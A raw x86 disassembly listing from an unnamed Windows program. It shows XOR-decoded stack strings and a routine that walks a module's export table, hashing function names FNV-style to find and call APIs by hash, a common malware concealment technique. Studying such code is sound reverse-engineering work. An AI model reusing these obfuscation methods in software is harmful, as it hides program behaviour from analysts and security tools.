xor dh, cl
xor al, cl
mov byte [esp + 0x13], 0x20
mov byte [esp + 0x120], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x11c], ah
mov byte [esp + 0x121], al
lea eax, [esp + 0x17f]
push eax
push 1
push 0
lea eax, [esp + 0x1d8]
mov byte [esp + 0x129], ch
mov byte [esp + 0x12e], 0
lea ecx, [esp + 0x158]
push eax
mov byte [esp + 0x12b], dl
mov byte [esp + 0x12e], dh
mov byte [esp + 0x132], 0
call fcn.004b6890
lea eax, [esp + 0x119]
push eax
lea ecx, [esp + 0x150]
call fcn.004b74b0
lea ecx, [esp + 0x14c]
mov byte [esp + 0x11], al
call fcn.004b5f90
cmp byte [esp + 0x11], 0
je 0x4c49db
mov byte [esp + 0x6c], 0x4f
mov al, 0x1b
xor al, byte [esp + 0x6c]
mov cl, 0x36
mov byte [esp + 0x6d], al
mov dl, 0x2e
mov al, byte [esp + 0x6c]
mov ch, 7
mov dh, 0x35
mov byte [esp + 0x11], 0x22
xor cl, al
mov byte [esp + 0x74], 0
xor dl, al
mov byte [esp + 0x6e], cl
xor ch, al
mov byte [esp + 0x6f], dl
xor dh, al
mov byte [esp + 0x71], ch
mov ah, 0x18
mov byte [esp + 0x72], dh
xor ah, al
mov byte [esp + 0x74], 0
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x6d]
xor al, byte [esp + 0x6c]
lea edx, [ecx + 1]
mov byte [esp + 0x70], ah
mov byte [esp + 0x73], al
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c49c0
sub ecx, edx
lea eax, [esp + 0x6d]
push ecx
push eax
lea ecx, [esp + 0x204]
call fcn.004b6830
lea ecx, [esp + 0x1fc]
call fcn.004b5f90
lea ecx, [esp + 0x1cc]
call fcn.004b5f90
mov edi, dword [0x4d986c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xd5ac1fc9
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c4a3e
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c4a21
cmp edx, 0x381db32d
je 0x4c4a47
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c4a11
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
test eax, eax
jne 0x4c4acd
mov edi, dword [0x4d986c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x2cc45e75
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c4abd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c4aa0
cmp edx, 0x3d1042b8
je 0x4c4ac6
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c4a90
push 1
jmp 0x4c469e
push 0
lea ecx, [esp + 0x184]
call fcn.004c0050
push 0x4d6d0c
lea eax, [esp + 0x184]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3